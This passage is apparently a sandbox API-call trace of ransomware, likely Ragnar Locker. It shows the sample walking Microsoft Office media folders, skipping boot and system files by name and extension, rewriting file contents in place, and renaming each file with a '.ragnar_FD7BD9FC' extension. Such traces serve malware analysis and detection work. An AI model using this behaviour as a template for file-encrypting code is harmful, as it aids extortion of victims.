(hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.934] GetProcessHeap () returned 0x580000 [0095.934] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.934] CloseHandle (hObject=0x104) returned 1 [0095.935] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" [0095.935] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.ragnar_FD7BD9FC" [0095.935] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.935] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0095.935] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.935] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293828.WMF" | out: lpString1="J0293828.WMF") returned="J0293828.WMF" [0095.935] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF") returned=".WMF" [0095.935] lstrcmpiW (lpString1="J0293828.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.935] lstrcmpiW (lpString1="J0293828.WMF", lpString2="autorun.inf") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="boot.ini") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootfont.bin") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootsect.bak") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootmgr") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootmgr.efi") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootmgfw.efi") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="desktop.ini") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="iconcache.db") returned 1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ntldr") returned -1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ntuser.dat") returned -1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ntuser.dat.log") returned -1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ntuser.ini") returned -1 [0095.936] lstrcmpiW (lpString1="J0293828.WMF", lpString2="thumbs.db") returned -1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.936] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf")) returned 0x20 [0095.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.937] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5610) returned 1 [0095.937] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x15e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.937] GetProcessHeap () returned 0x580000 [0095.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.937] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.939] VirtualAlloc (lpAddress=0x0, dwSize=0x15ea, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.939] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.939] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.939] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15ea, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15ea, lpOverlapped=0x0) returned 1 [0095.940] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.940] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.940] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15ea, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15ea, lpOverlapped=0x0) returned 1 [0095.940] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.940] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.940] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x15ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.940] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.940] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.940] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.940] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.941] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.941] GetProcessHeap () returned 0x580000 [0095.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.941] CloseHandle (hObject=0x104) returned 1 [0095.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" [0095.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.ragnar_FD7BD9FC" [0095.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.941] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0095.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.942] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0293844.WMF" | out: lpString1="J0293844.WMF") returned="J0293844.WMF" [0095.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF") returned=".WMF" [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="autorun.inf") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="boot.ini") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootfont.bin") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootsect.bak") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootmgr") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootmgr.efi") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootmgfw.efi") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="desktop.ini") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="iconcache.db") returned 1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ntldr") returned -1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ntuser.dat") returned -1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ntuser.dat.log") returned -1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ntuser.ini") returned -1 [0095.942] lstrcmpiW (lpString1="J0293844.WMF", lpString2="thumbs.db") returned -1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0095.942] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0095.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf")) returned 0x20 [0095.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.943] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2066) returned 1 [0095.943] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x809, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.943] GetProcessHeap () returned 0x580000 [0095.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.943] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.944] VirtualAlloc (lpAddress=0x0, dwSize=0x812, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.944] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.945] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.945] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x812, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x812, lpOverlapped=0x0) returned 1 [0095.945] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.945] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x812, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.945] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x812, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x812, lpOverlapped=0x0) returned 1 [0095.945] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x812, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.945] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.945] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x812, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.945] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.945] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.945] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.945] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.945] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.946] GetProcessHeap () returned 0x580000 [0095.946] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.946] CloseHandle (hObject=0x104) returned 1 [0095.946] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" [0095.946] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.ragnar_FD7BD9FC" [0095.946] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0095.946] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0095.946] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0095.946] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0295241.GIF" | out: lpString1="J0295241.GIF") returned="J0295241.GIF" [0095.946] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF") returned=".GIF" [0095.946] lstrcmpiW (lpString1="J0295241.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="autorun.inf") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="boot.ini") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootfont.bin") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootsect.bak") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootmgr") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootmgr.efi") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootmgfw.efi") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="desktop.ini") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="iconcache.db") returned 1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ntldr") returned -1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ntuser.dat") returned -1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ntuser.dat.log") returned -1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ntuser.ini") returned -1 [0095.947] lstrcmpiW (lpString1="J0295241.GIF", lpString2="thumbs.db") returned -1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0095.947] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0095.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif")) returned 0x20 [0095.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0095.948] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10725) returned 1 [0095.948] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x29dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.948] GetProcessHeap () returned 0x580000 [0095.948] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0095.948] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0095.949] VirtualAlloc (lpAddress=0x0, dwSize=0x29e5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0095.950] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.950] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0095.950] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29e5, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x29e5, lpOverlapped=0x0) returned 1 [0095.950] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0095.951] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29e5, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.951] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29e5, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x29e5, lpOverlapped=0x0) returned 1 [0095.951] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29e5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.951] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0095.951] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x29e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.951] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0095.951] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.951] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0095.951] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0095.951] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0095.951] GetProcessHeap () returned 0x580000 [0095.951] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0095.951] CloseHandle (hObject=0x104) returned 1 [0095.951] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" [0095.952] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.ragnar_FD7BD9FC" 